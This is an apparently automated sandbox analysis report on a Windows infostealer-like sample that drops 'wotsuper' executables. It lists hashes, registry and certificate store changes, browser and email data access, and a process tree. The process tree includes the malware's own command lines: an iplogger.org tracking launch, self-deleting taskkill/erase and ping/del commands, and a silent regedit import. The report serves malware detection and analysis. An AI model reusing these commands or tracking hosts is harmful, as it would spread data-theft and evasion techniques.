Analysis
- max time kernel
151s - max time network
152s - platform
windows7_x64 - resource
win7v200722 - submitted
24/07/2020, 10:40
Static task
static1
Behavioral task
behavioral1
Sample
b31928e3f286c72aa7b474b4c2340b16.exe
Resource
win7v200722
windows7_x64
0 signatures
0 seconds
General
- Target b31928e3f286c72aa7b474b4c2340b16.exe
- Size 627KB
- Sample200724-733yj9nlcs
- SHA256 eaf272ccebdce006c18793bdbcd0b4729d6ac2eefa2ef900cee811d74d953825
- MD5 b31928e3f286c72aa7b474b4c2340b16
- SHA1 7988d49b9e553bf1331aa32d78c7b2074d0d4910
- SHA512 191b9ba716c457cff6719963ecbf42f7ac8c3f566c93ad567e80956c13c4b12b928fe60e9b800c0fb3903692c9ccfbe04b93268c9e10455ae10e9bfe0bdc0142
- MD5 SHA1 SHA512
Malware Config
Signatures
- Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\wotsuper.reg b31928e3f286c72aa7b474b4c2340b16.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Toolbar iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" IEXPLORE.EXE Set value (data) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 9095c7a8b761d601 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\IETld\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\LowRegistry iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000004183579d8c208a459c82062b1c0c5bf900000000020000000000106600000001000020000000e6ad47e175ff35f67028c7ac32455ff1fa83273da82dcbcb8948b31d9132ea39000000000e8000000002000020000000d642ffcb3e61040561a1e12cde71398d31c0af9c6078189bb9b21d947ec037599000000056896da15cd38349b522ed77bfbafb0b45902427fa49391a5b51b9b73070142466f52caa4fb56f81c5fa70299d8d474aac95e3ee17a8c48f2cb3d5cd4ee63733139183238ed583edd3e4a0038e76e36f6745d12918dbb8a9dad70abc52ce3dc13efc6247132843e3c2e269c8874a4801f13b2bd982331f6ff470e66a047647467506e84428131a9ac114adcf5265638640000000570d9d00430f5cad024852b5e8395736cd9a3055c7dc0328a7fee6c3594bb9da8c84ce890adfa36995c9b6cf76bf906001da230021c97f3d44e0291704f86986 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\IntelliForms iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\PageSetup iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\DomainSuggestion iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "302359387" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Zoom iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{D0151371-CDAA-11EA-8BB1-528C4AC0B850} = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\GPU iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch IEXPLORE.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" iexplore.exe Set value (data) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000004183579d8c208a459c82062b1c0c5bf900000000020000000000106600000001000020000000ecd31407cd09459c0e7b5c8f47ffafb4ffd4cf610bb7a39b2fcb934d20b76833000000000e800000000200002000000052229a5644eb86620ea4e22324d82c66eaeb045e3e5b2d95f3f44d2222058930200000008eb07d99d98d10df3c257405af249a1de454e444d85c886d72e2ef3ac7dae05740000000696b6c081609babe7f43a8deeaca5404705f8703ef52af22d9042740d2e5a50d98c8fb0866df5edc2e9d236268bd4315ff0f247ce1936707b6bd762fcba2e4d6 iexplore.exe Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\InternetRegistry iexplore.exe Set value (int) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" iexplore.exe Key created \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main IEXPLORE.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" iexplore.exe - Modifies system certificate store 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 IEXPLORE.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 IEXPLORE.EXE - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 24 ip-api.com - Loads dropped DLL 7 IoCs
pid Process 1000 b31928e3f286c72aa7b474b4c2340b16.exe 1000 b31928e3f286c72aa7b474b4c2340b16.exe 1000 b31928e3f286c72aa7b474b4c2340b16.exe 1020 wotsuper.exe 1020 wotsuper.exe 1020 wotsuper.exe 1020 wotsuper.exe - Suspicious use of SetWindowsHookEx 6 IoCs
pid Process 324 iexplore.exe 324 iexplore.exe 1324 IEXPLORE.EXE 1324 IEXPLORE.EXE 1324 IEXPLORE.EXE 1324 IEXPLORE.EXE - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 324 iexplore.exe - JavaScript code in executable 1 IoCs
resource yara_rule behavioral1/files/0x00030000000131c6-13.dat js - Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Kills process with taskkill 1 IoCs
pid Process 1472 taskkill.exe - Checks whether UAC is enabled 2 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA iexplore.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA IEXPLORE.EXE - Modifies data under HKEY_USERS 17 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" wotsuper1.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B0B3A07F-52FE-4CB4-B180-D347A88145E3} wotsuper1.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B0B3A07F-52FE-4CB4-B180-D347A88145E3}\WpadDecisionTime = f006459bb761d601 wotsuper1.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77 wotsuper1.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B0B3A07F-52FE-4CB4-B180-D347A88145E3}\32-e2-17-db-d2-77 wotsuper1.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections wotsuper1.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings wotsuper1.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings wotsuper1.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecision = "0" wotsuper1.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad wotsuper1.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B0B3A07F-52FE-4CB4-B180-D347A88145E3}\WpadDecision = "0" wotsuper1.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecisionReason = "1" wotsuper1.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 wotsuper1.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B0B3A07F-52FE-4CB4-B180-D347A88145E3}\WpadDecisionReason = "1" wotsuper1.exe Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\MigrateProxy = "1" wotsuper1.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{B0B3A07F-52FE-4CB4-B180-D347A88145E3}\WpadNetworkName = "Network" wotsuper1.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\32-e2-17-db-d2-77\WpadDecisionTime = f006459bb761d601 wotsuper1.exe - Runs ping.exe 1 TTPs 1 IoCs
pid Process 1820 PING.EXE - Suspicious use of WriteProcessMemory 36 IoCs
description pid Process procid_target PID 1000 wrote to memory of 324 1000 b31928e3f286c72aa7b474b4c2340b16.exe 24 PID 1000 wrote to memory of 324 1000 b31928e3f286c72aa7b474b4c2340b16.exe 24 PID 1000 wrote to memory of 324 1000 b31928e3f286c72aa7b474b4c2340b16.exe 24 PID 1000 wrote to memory of 324 1000 b31928e3f286c72aa7b474b4c2340b16.exe 24 PID 1000 wrote to memory of 1020 1000 b31928e3f286c72aa7b474b4c2340b16.exe 25 PID 1000 wrote to memory of 1020 1000 b31928e3f286c72aa7b474b4c2340b16.exe 25 PID 1000 wrote to memory of 1020 1000 b31928e3f286c72aa7b474b4c2340b16.exe 25 PID 1000 wrote to memory of 1020 1000 b31928e3f286c72aa7b474b4c2340b16.exe 25 PID 1000 wrote to memory of 1616 1000 b31928e3f286c72aa7b474b4c2340b16.exe 26 PID 1000 wrote to memory of 1616 1000 b31928e3f286c72aa7b474b4c2340b16.exe 26 PID 1000 wrote to memory of 1616 1000 b31928e3f286c72aa7b474b4c2340b16.exe 26 PID 1000 wrote to memory of 1616 1000 b31928e3f286c72aa7b474b4c2340b16.exe 26 PID 1000 wrote to memory of 1044 1000 b31928e3f286c72aa7b474b4c2340b16.exe 27 PID 1000 wrote to memory of 1044 1000 b31928e3f286c72aa7b474b4c2340b16.exe 27 PID 1000 wrote to memory of 1044 1000 b31928e3f286c72aa7b474b4c2340b16.exe 27 PID 1000 wrote to memory of 1044 1000 b31928e3f286c72aa7b474b4c2340b16.exe 27 PID 324 wrote to memory of 1324 324 iexplore.exe 30 PID 324 wrote to memory of 1324 324 iexplore.exe 30 PID 324 wrote to memory of 1324 324 iexplore.exe 30 PID 324 wrote to memory of 1324 324 iexplore.exe 30 PID 1020 wrote to memory of 1440 1020 wotsuper.exe 32 PID 1020 wrote to memory of 1440 1020 wotsuper.exe 32 PID 1020 wrote to memory of 1440 1020 wotsuper.exe 32 PID 1020 wrote to memory of 1440 1020 wotsuper.exe 32 PID 1440 wrote to memory of 1472 1440 cmd.exe 34 PID 1440 wrote to memory of 1472 1440 cmd.exe 34 PID 1440 wrote to memory of 1472 1440 cmd.exe 34 PID 1440 wrote to memory of 1472 1440 cmd.exe 34 PID 1616 wrote to memory of 1792 1616 wotsuper1.exe 36 PID 1616 wrote to memory of 1792 1616 wotsuper1.exe 36 PID 1616 wrote to memory of 1792 1616 wotsuper1.exe 36 PID 1616 wrote to memory of 1792 1616 wotsuper1.exe 36 PID 1792 wrote to memory of 1820 1792 cmd.exe 38 PID 1792 wrote to memory of 1820 1792 cmd.exe 38 PID 1792 wrote to memory of 1820 1792 cmd.exe 38 PID 1792 wrote to memory of 1820 1792 cmd.exe 38 - Executes dropped EXE 2 IoCs
pid Process 1020 wotsuper.exe 1616 wotsuper1.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeDebugPrivilege 1472 taskkill.exe Token: SeDebugPrivilege 1616 wotsuper1.exe Token: SeCreateTokenPrivilege 1616 wotsuper1.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 1616 wotsuper1.exe 1020 wotsuper.exe 1020 wotsuper.exe 1020 wotsuper.exe 1020 wotsuper.exe 1616 wotsuper1.exe - Runs .reg file with regedit 1 IoCs
pid Process 1044 regedit.exe - Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe b31928e3f286c72aa7b474b4c2340b16.exe File opened for modification C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe b31928e3f286c72aa7b474b4c2340b16.exe File opened for modification C:\Program Files (x86)\wotsuper\wotsuper\Uninstall.exe b31928e3f286c72aa7b474b4c2340b16.exe File created C:\Program Files (x86)\wotsuper\wotsuper\Uninstall.ini b31928e3f286c72aa7b474b4c2340b16.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wotsuper.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wotsuper.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\b31928e3f286c72aa7b474b4c2340b16.exe"C:\Users\Admin\AppData\Local\Temp\b31928e3f286c72aa7b474b4c2340b16.exe"1⤵
- Drops file in Windows directory
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
- Drops file in Program Files directory
PID:1000 -
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" https://iplogger.org/1vncg7.html2⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
PID:324 -
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:324 CREDAT:275457 /prefetch:23⤵
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Checks whether UAC is enabled
PID:1324
-
-
-
C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe"C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Checks processor information in registry
PID:1020 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im wotsuper.exe /f & erase C:\Program Files (x86)\wotsuper\wotsuper\wotsuper.exe & exit3⤵
- Suspicious use of WriteProcessMemory
PID:1440 -
C:\Windows\SysWOW64\taskkill.exetaskkill /im wotsuper.exe /f4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1472
-
-
-
-
C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe"C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe"2⤵
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1616 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Program Files (x86)\wotsuper\wotsuper\wotsuper1.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1792 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.14⤵
- Runs ping.exe
PID:1820
-
-
-
-
C:\Windows\SysWOW64\regedit.exe"C:\Windows\System32\regedit.exe" \s C:\Windows\wotsuper.reg2⤵
- Runs .reg file with regedit
PID:1044
-